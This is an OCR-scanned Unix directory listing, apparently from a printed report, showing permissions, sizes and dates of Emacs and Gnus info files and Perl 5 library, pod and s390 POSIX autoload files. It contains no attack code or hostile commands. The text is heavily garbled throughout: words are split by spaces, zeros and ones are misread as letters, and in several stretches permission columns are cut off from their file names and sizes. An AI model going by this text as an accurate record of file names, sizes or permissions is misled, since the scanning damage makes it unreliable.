-rw-r--r-- O O 1 48415 May 19 2000 /usr/ local/ i nfo/emacs-3 

-rw-r--r-- O O 1 47950 May 19 2000 /usr/loca l/i nfo/emacs-4 

-rw-r-- r-- O O 1 46126 May 19 2000 /usr/loca l/i nfo/emacs-5 

- rw-r-- r-- O O 1 49505 May 19 2000 /usr/ local/ i nfo/emacs-6 

-rw-r--r-- O O 1 49569 May 19 2000 /usr/local/ i nfo/emacs-7 

-rw-r--r-- O O 1 48689 May 19 2000 /usr/ loca l/i nfo/emacs-8 

-rw-r--r-- O O 1 48471 May 19 2000 /usr/loca l/i nfo/emacs-9 

-rw-r--r-- O O 1 32747 May 19 2000 /usr/loca l/i nfo/forms 

-rw-r--r-- O O 1 7328 May 19 2000 /usr/ local/ i nfo/gnus  

-rw-r--r-- O O 1 507 18 May 19 2000 /usr/ loca l/i nfo/gnus-1 

-rw-r-- r-- O O 1 70187 May 19 2000 /usr/loca l/i nfo/gn us-10 

- rw-r-- r-- O O 1 2 1624 May 19 2000 /usr/ loca l/i nfo/gnus -11  

- rw-r--r-- O O 1 471 18 May 19 2000 /usr/local/ i nfo/gnus-2 

-rw-r--r-- O O 1 49085 May 19 2000 /usr/loca l/i nfo/gnus-3 
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-rw-r-- r-- O O l 49489 May 19 2000 /usr/ loca l/i nfo/gnus-4 

-rw-r--r-- O O l 50095 May 19 2000 /usr/loca l/i nfo/gnus-5 

-rw-r--r-- O O l 50382 May 19 2000 /usr/ local/ i nfo/gn us-6 

-rw-r--r-- O O l 49747 May 19 2000 /usr/ loca l/i nfo/gn us-7 

-rw-r-- r-- O O l 50389 May 19 2000 /usr/ loca l/i nfo/gnus-8 

-rw-r-- r-- O O l 24055 May 19 2000 /usr/loca l/i nfo/gnus-9 

-rw-r-- r-- O O l 73444 May 19 2000 /usr/loca l/i nfo/i nfo 

-rw-r-- r-- O O l 36056 May 19 2000 /usr/ loca l/i nfo/message 

-rw-r-- r-- O O l 3540 May 19 2000 /usr/ local/ i nfo/m h-e 

-rw-r--r-- O O l 492 13 May 19 2000 /usr/ loca l/i nfo/m h-e-1 

-rw-r--r-- O O l 46742 May 19 2000 /usr/ loca l/i nfo/m h -e-2 

-rw-r-- r-- O O l 48838 May 19 2000 /usr/ loca l/i nfo/m h -e-3 

-rw-r-- r-- O O l 22016 May 19 2000 /usr/ l oca l/i nfo/mh-e-4 

-rw-r--r-- O O l 2728 Oct 2 1  1997 /usr/ loca l/i nfo/m4 . i nfo 

-rw-r--r-- O O l 50741 Oct 2 1  1997 /usr/ local/ i nfo/m4. i nfo-l 

-rw-r-- r-- O O l 47826 Oct 2 1  1997 /usr/loca l/i nfo/m4. i nfo-2 

-rw-r--r-- O O l 10497 Oct 2 1  1997 /usr/ loca l/i nfo/m4. i nfo-3 

-rw-r-- r-- O O l 1926 May 19 2000 /usr/loca l/i nfo/sc 
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-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

d rwxr-xr-x O O 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

d rwxr-xr-x O O 

-r-- r--r-- O O 1 

-r-- r-- r-- O O 1 

d rwxr-xr-x O O 

1 

1 

1 

47946 May 19 2000 /usr/l oca l/i nfo/sc-1 

49972 May 19 2000 /usr/loca l/i nfo/sc-2 

10457 May 19 2000 /usr/ loca l/i nfo/sc-3 

1968 May 19 2000 /usr/ loca l/i nfo/vi p 

49772 May 19 2000 /usr/ loca l/i nfo/vi p-1  

28498 May 19 2000 /usr/loca l/i nfo/vi p-2 

2322 May 19 2000 /usr/loca l/i nfo/vi per 

48984 May 19 2000 /usr/ loca l/i nfo/vi per-1 

38559 May 19 2000 /usr/loca l/i nfo/vi per-2 

50414 May 19 2000 /usr/loca l/i nfo/vi pe r-3 

47271  May 19 2000 /usr/loca l/i nfo/vi per-4 

O Ma r  11 2003 /usr/loca l/ l i b/ 

4307202 Feb 2 1  2003 /usr/loca l/ l i b/l i bcrypto . a  

586442 Feb 21  2003 /usr/loca l/ l i b/l i bss l . a  

O Oct 28 1998 /usr/loca l/ l i b/per l5/ 

561 Dec 4 1997 /usr/loca l/ l i b/perl 5/abbrev. p l  

1298 Dec  4 1997 /usr/loca l/l i b/per l5/assert. p l  

O Oct 28 1998 /usr/loca l/ l i b/per l5/auto/ 
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d rwxr-xr-x O O 1 

d rwxr-xr-x O O 1 

-r-- r--r-- O O 1 

-r-- r--r-- O O 1 

-r-- r-- r-- O O 1 

- r-- r-- r-- O O 1 

-r--r--r-- O O 1 

-r-- r-- r-- O O 1 

-r-- r--r-- O O 1 

-r--r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-r-- r--r-- O O 1 

-r--r--r-- O O 1 

-r-- r--r-- O O 1 

-r--r-- r-- O O 1 

Report 

O Oct 28 1998 /usr/loca l/ l i b/per l5/auto/Text/ 

O Oct 28 1998 /usr/ loca l/ l i b/per l5/a uto/Text/Pa rseWords/ 

165 Dec 4 1997 /usr/loca l/ l i b/per l 5/a uto/Text/Pa rseWords/autosp l it . ix 

883 Dec 4 1997 /usr/loca l/ l i b/per l 5/auto/Text/Pa rseWords/o ld_she l lwords. a l  

2377 Dec 4 1997 /usr/loca l/ l i b/per l 5/a uto/Text/Pa rseWords/quotewords . a l  

2 20  Dec 4 1997 /usr/ loca l/ l i b/perl 5/auto/Text/Pa rseWords/she l lwords . a l  

43 13 Dec  4 1997 /usr/loca l/ l i b/per l 5/a utouse . p m  

6760 Dec 4 1997 /usr/loca l/ l i b/per l 5/bigfloat . pl 

7944 Dec 4 1997 /usr/loca l/ l i b/per l5/big i nt . p l  

4241 Dec 4 1997 /usr/loca l/ l i b/per l5/bigrat . p l  

1252  Dec  4 1997 /usr/loca l/l i b/per l5/b l i b . pm 

21  Oct 30 1997 /usr/loca l/ l i b/per l5/bug. pm 

21  Oct 30 1997 /usr/loca l/ l i b/per l5/bug. pm .o ld  

850 Dec 4 1997 /usr/ loca l/ l i b/pe rl 5/cacheout . p l  

9645 Dec  4 1997 /usr/loca l/ l i b/per l5/chat2 . p l  

2913 Dec 4 1997 /usr/loca l/l i b/per l 5/com p lete. p l  

5248 Dec  4 1997 /usr/ loca l/ l i b/per l 5/consta nt. pm 

1707 Dec  4 1997 /usr/loca l/ l i b/per l 5/cti me .p l  
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-r-- r-- r-- O O l 13848 Dec 4 1997 /usr/loca l/ l i b/per l5/d i agnostics . pm  

-r-- r--r-- O O l 2005 Dec 4 1997 /usr/loca l/l i b/per l 5/dots h . p l  

- r--r-- r-- O O l 11030 Dec 4 1997 /usr/loca l/ l i b/per l 5/du m pva r. p l  

-r--r--r-- O O l 1500 Dec 4 1997 /usr/loca l/ l i b/per l 5/except ions .p l  

- r-- r-- r-- O O l 754 Dec 4 1997 /usr/loca l/ l i b/per l 5/fastcwd . p l  

-r-- r--r-- O O l 1185 Dec 4 1997 /usr/loca l/ l i b/per l5/fi n d . p l 

- r--r--r-- O O l 1130 Dec 4 1997 /usr/loca l/ l i b/per l 5/fi nddepth . p l 

- r--r--r-- O O l 368 Dec 4 1997 /usr/ loca l/l i b/per l 5/fl u sh . p l  

-r--r--r-- O O l 23822 Dec 4 1997 /usr/ loca l/ l i b/per l 5/ftp . p l  

-r--r--r-- O O l 1160 Dec 4 1997 /usr/loca l/l i b/per l 5/getcwd . p l  

- r--r-- r-- O O l 1042 Dec 4 1997 /usr/ loca l/l i b/per l 5/getopt . p l  

-r--r--r-- O O l 942 Dec 4 1997 /usr/loca l/ l i b/per l 5/getopts . p l  

- r--r--r-- O O l 45 1 Dec 4 1997 /usr/loca l/ l i b/per l5/hostname . pl 

-r--r--r-- O O l 356 Dec 4 1997 /usr/loca l/ l i b/per l5/im portenv .p l  

- r-- r-- r-- O O l 589 Dec 4 1997 /usr/ loca l/ l i b/perl 5/i nteger . pm 

-r--r-- r-- O O l 349 Dec 4 1997 /usr/loca l/ l i b/per l5/ less . pm  

-r-- r-- r-- O O l 3593 Dec 4 1997 /usr/loca l/l i b/per l5/ l i b . pm 

-r-- r--r-- O O l 664 Dec 4 1997 /usr/loca l/l i b/per l5/loca l e . pm 
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-r--r-- r-- O O l 

-r-- r-- r-- O O 1 

-r-- r-- r-- O O 1 

-r--r--r-- O O 1 

-r--r-- r-- O O 1 

d rwxr-xr-x O O 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

1 

1020 Dec 4 1997 /usr/loca l/l i b/per l5/ look. p l  

1976 Dec  4 1997 /usr/loca l/l i b/per l 5/newgetopt .p l  

185  Dec  4 1997  /usr/ loca l/l i b/per l 5/o pen2 . p l  

185 Dec  4 1997 /usr/loca l/ l i b/per l5/open3 . p l  

64681 Dec 4 1997 /usr/loca l/l i b/per l5/perl 5db . p l  

O Oct 28 1998 /usr/loca l/l i b/per l5/pod/ 

11598 Dec 4 1997 /usr/loca l/l i b/per l5/pod/perl . pod 

7722 Dec 4 1997 /usr/loca l/l i b/per l5/pod/pe rl a p io . pod 

1266 Dec 4 1997 /usr/ loca l/l i b/per l5/pod/perl book .pod 

1 1408 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per l bot . pod 

55801 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/per lca l l . pod 

23243 Dec 4 1997 /usr/loca l/l i b/per l 5/pod/per ldata . pod 

349 14 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/per ldebug. pod 

55102 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per lde lta . pod 

100771  Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/perl d i ag . pod 

24872 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per ldsc. pod 

33225 Dec 4 1997 /usr/loca l/l i b/per l5/pod/per lem bed . pod 

5660 Dec 4 1997 /usr/loca l/l i b/pe r l5/pod/perlfa q . pod 
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-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

12424 Dec 4 1997 /usr/ loca l/ l i b/per l 5/pod/perlfa q l . pod 

18961  Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/perlfaq2 . pod 

20545 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/per lfaq3 . pod 

34109 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/per lfaq4. pod 

27538 Dec 4 1997 /usr/loca l/l i b/per l 5/pod/perlfaq5 . pod 

21174 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/perlfaq6 . pod 

24205 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per lfaq7 . pod 

28474 Dec 4 1997 /usr/ l oca l/ l i b/per l 5/pod/per lfaq8 . pod 

12879 Dec 4 1997 /usr/loca l/l i b/per l5/pod/per lfaq9 . pod 

13 198 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/per lform. pod 

142070 J u l  30  1998 /usr/loca l/ l i b/per l 5/pod/perlfu nc . pod 

95810 Dec 4 1997 /usr/loca l/l i b/perl 5/pod/per lguts. pod 

46501 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per l i pc . pod 

32215 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per l loca le . pod 

8580 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/perl l o l . pod 

15011  Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per lmod . pod 

303 14 Dec 4 1997 /usr/ loca l/ l i b/pe rl 5/pod/per l mod l i b . pod 

16380 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per lobj . pod 
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- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

-rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- r--r-- r-- O O 1 

- r--r-- r-- O O 1 

46530 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/per lop . pod 

7652 Dec 4 1997 /usr/ loca l/l i b/per l 5/pod/perl pod . pod 

24143 Dec 4 1997 /usr/ loca l/ l i b/per l 5/pod/per l re. pod 

19331  Dec 4 1997 /usr/loca l/ l i b/per l5/pod/perl ref. pod 

22240 Dec 4 1997 /usr/loca l/l i b/per l5/pod/per l ru n . pod 

15668 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/per lsec. pod 

7717 Dec 4 1997 /usr/loca l/ l i b/per l 5/pod/pe r lsty le . pod 

34559 Dec 4 1997 /usr/loca l/ l i b/per l5/pod/per l sub . pod 

19304 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/per l syn . pod 

26528 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/per lt ie . pod 

100386 Dec 4 1997 /usr/loca l/ l i b/perl 5/pod/perltoc. pod 

67589 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/pe rltoot . pod 

34954 Dec 4 1997 /usr/ loca l/ l i b/per l5/pod/perltrap . pod 

24247 Dec 4 1997 /usr/ loca l/ l i b/per l 5/pod/perlva r. pod 

39821 Dec 4 1997 /usr/l oca l/ l i b/per l 5/pod/per lxs . pod 

25950 Dec 4 1997 /usr/ loca l/ l i b/per l 5/pod/per lxstut .pod 

1146 Dec 4 1997 /usr/ loca l/l i b/per l 5/pwd . p l  

880 Dec 4 1997 /usr/ loca l/l i b/per l5/she l lwords .p l  
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-r-- r-- r-- O O 1 

-r--r--r-- O O 1 

-r--r--r-- O O 1 

-r-- r-- r-- O O 1 

-r-- r-- r-- O O 1 

d rwxr-xr-x O O 1 

d rwxr-xr-x O O 1 

d rwxr-xr-x O O 1 

d rwxr-xr-x O O 1 

-r--r--r-- O O 1 

d rwxr-xr-x O O 1 

-r--r--r-- O O 1 

-r--r--r-- O O 1 

-r-- r-- r-- O O 1 

-r--r--r-- O O 1 

-r-- r-- r-- O O 1 

-r--r-- r-- O O 1 

d rwxr-xr-x O O 1 

7584 Dec 4 1997 /usr/ loca l/ l i b/per l 5/sigtra p . pm  

658  Dec 4 1997 /usr/loca l/ l i b/per l 5/stat . p l  

2 175 Dec  4 1997 /usr/ loca l/ l i b/per l 5/str ict . pm  

815  Dec 4 1997 /usr/ loca l/ l i b/per l5/su bs. pm  

4755 Dec 4 1997 /usr/ loca l/ l i b/per l 5/syslog. p l  

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/ 

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/ 

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/ 

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/a uto/sdbm/ 

Report 

1 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/sdbm/extra l i bs . l d  

O Oct 28 1998 /usr/ loca l/ l ib/per l 5/s390/5 .00403/auto/Dyna loader/ 

173 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/Dyna loader/a utosp l it . ix 

1074 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/a uto/Dynaloader/dl_expandspec. a l  

305 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/a uto/Dynaloader/d l_fi nd_symbol_a nywhere . a l  

3086 Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/a uto/Dynaloader/d l_fi ndfi l e . a l  

1 Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/Dynaloader/extra l i bs . l d  

6602 J u l  30 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/Dyna loader/Dynaloader .a  

O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/au to/Fcntl/ 
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-r--r--r-- O O 1 1 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/Fcntl/extra l i bs . l d  

- r--r--r-- O O 1 13552 J u l  30 1998 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/Fcnt i/Fcnt l . a  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/IO/ 

-r-- r--r-- O O 1 1 Dec 4 1997 /usr/ loca l/l i b/perl 5/s390/5 .00403/auto/I O/extra l i bs . l d  

-r-- r-- r-- O O 1 28254 J u l  30 1998 /usr/loca l/ l i b/per l5/s390/5 .00403/auto/ IO/ IO .a  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/NDBM_Fi le/ 

-r--r--r-- O O 1 1 Dec 4 1997 /usr/l oca l/ l i b/per l 5/s390/5 .00403/auto/N DBM_F i l e/extra l i bs . l d  

-r--r-- r-- O O 1 24186 J u l  30 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/NDBM_Fi le/N DBM_F i l e . a  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/Opcode/ 

-r-- r--r-- O O 1 1 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/Opcode/extra l i bs . l d  

-r--r--r-- O O 1 42622 J u l  30 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/Opcode/Opcode . a  

d rwxr-xr-x O O 1 O Oct 28 1998 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/ 

-r-- r--r-- O O 1 153 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/a bs . a l  

- r-- r--r-- O O 1 165 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/a l a rm . a l  

- r-- r--r-- O O 1 197 Dec 4 1997 /usr/ loca l/ l i b/perl 5/s390/5 .00403/a uto/POSIX/assert . a l  

- r-- r--r-- O O 1 168 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/a uto/POS IX/ata n2 . a l  

-r-- r-- r-- O O 1 166 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/atexit . a l  

- r--r--r-- O O 1 15 1 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/atof. a l  
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15 1 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/atoi . a l  

15 1 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/atol . a l  

Report 

1968 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/autosp l it . i x  

147 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/bsearch . a l  

1 55  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/ca l l oc . a l  

167  Dec  4 1997  /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/chd i r . a l  

179  Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/ch mod . a l  

190 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/chown . a l  

147 Dec 4 1997 /usr/l oca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/c learerr .a l 

176 Dec 4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/auto/POSIX/c losed i r. a l  

1 53  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/cos . a l  

212  Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/creat. a l  

149 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/d iv. a l  

1 52  Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/errno . a l  

1 53  Dec 4 1997 /usr/loca l/l i b/pe rl 5/s390/5 .00403/auto/POSIX/execl . a l  

1 55  Dec 4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POSIX/exec le . a l  

155  Dec  4 1997 /usr/loca l/l i b/pe r l 5/s390/5 .00403/auto/POSIX/execl p . a l  

153  Dec  4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/execv .a l  
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Report 

155 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/execve . a l  

1 55  Dec 4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POSIX/execvp .a l  

161 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/a uto/POSIX/exit . a l  

1 53  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/exp . a l  

4 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/extra l i bs . l d  

155  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/fabs . a l  

142 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/fclose . a l  

192  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/fcnt l . a l  

148 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POS IX/fdopen . a l  

1 38  Dec 4 1997 /usr/ loca l/ l i b/per l5/s390/5 .00403/auto/POSIX/feof. a l  

142 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/ferror . a l  

142 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/ffl u sh . a l  

140 Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/fgetc . a l  

146 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/fgetpos . a l  

140 Dec  4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/fgets . a l  

143 Dec  4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POSIX/fi l eno . a l  

138  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/fopen . a l  

148 Dec 4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POS IX/fork . a l  
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168 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/fpri ntf. a l  

163 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/a uto/POS IX/fputc. a l  

163 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/fputs . a l  

162  Dec  4 1997 /usr/loca l/ l i b/per l5/s390/5 .00403/a uto/POSIX/fread . a l  

151  Dec  4 1997  /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/free . a l  

166  Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/freopen . a l  

186  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/fsca nf. a l  

142 Dec 4 1997 /usr/loca l/l i b/per l5/s390/5 .00403/auto/POSIX/fseek. a l  

146 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/fsetpos . a l  

241  Dec 4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/auto/POSIX/fstat . a l  

142 Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/fte l l . a l  

165 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/fwrite . a l  

161 Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/getc . a l  

1 61  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/getchar. a l  

176 Dec 4 1997 /usr/loca l/l i b/per l5/s390/5 .00403/auto/POSIX/getcwd . a l  

1 56  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/au to/POS IX/getegid . a l  

163  Dec  4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/auto/POSIX/getenv. a l  

1 56  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/geteu i d . a l  
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154 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/getgi d . a l  

170 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/getgrg id . a l  

171 Dec  4 1997  /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/getgrnam . a l  

203 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/getgroups . a l  

162  Dec  4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POS IX/get logi n . a l  

164 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/getpgrp . a l  

150  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/ POS IX/getp id . a l  

157  Dec  4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/a uto/POSIX/getpp id . a l  

171  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/getpwna m . a l  

170 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/getpwu i d . a l  

158  Dec  4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/gets . a l  

150  Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/a uto/POS IX/getu i d . a l  

165  Dec  4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/gmtime . a l  

166  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/isatty . a l  

169 Dec  4 1997 /usr/ l oca l/l i b/per l 5/s390/5 .00403/auto/POSIX/k i l l . a l  

1 59  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/I a bs . a l  

165  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/Id iv . a l  

1 86  Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POS IX/ I i n k. a l  
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Repor l 

174 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/Ioca lt i me .a l  

153 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/ Iog. a l  

165 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/Iongjmp . a l  

155  Dec  4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/a uto/POSIX/ma l loc. a l  

167 Dec 4 1997 /usr/ loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/memchr .a l  

162 Dec 4 1997 /us r/loca l/l i b/per l 5/s390/5 .00403/a uto/POS IX/memcm p .a l  

161 Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/memcpy. a l  

163 Dec 4 1997 /usr/l oca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/memmove. a l  

1 6 1  Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/memset . a l  

184 Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POS IX/m kd i r. a l  

159 Dec 4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/offsetof. a l  

236 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/opend i r . a l  

166  Dec  4 1997 /usr/loca l/l i b/perl 5/s390/5 .00403/a uto/POSIX/perror . a l  

166  Dec  4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/a uto/POSIX/pow .a l  

179  Dec  4 1997 /usr/loca l/ l i b/perl 5/s390/5 .00403/auto/POSIX/pr i ntf. a l  

1 6 1  Dec 4 1997 /usr/l oca l/l i b/per l 5/s390/5 .00403/auto/POSIX/putc. a l  

167 Dec 4 1997 /usr/loca l/ l i b/per l 5/s390/5 .00403/auto/POSIX/putcha r . a l  

161 Dec  4 1997 /usr/loca l/ l i b/pe rl 5/s390/5 .00403/auto/POS IX/puts . a l  
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162 Dec 4 1997 /usr/loca l/l i b/per l 5/s390/5 .00403/auto/POSIX/qsort . a l  

186  Dec  4 1997  /usr/loca l/l i b/per l 5/s390/5 .00403/a uto/POSIX/ ra i se . a l  

169 Dec 4 1997 /usr/ loca l/ l i b/per l 5/s390/5 .00403/auto/POS IX/ra nd . a l  

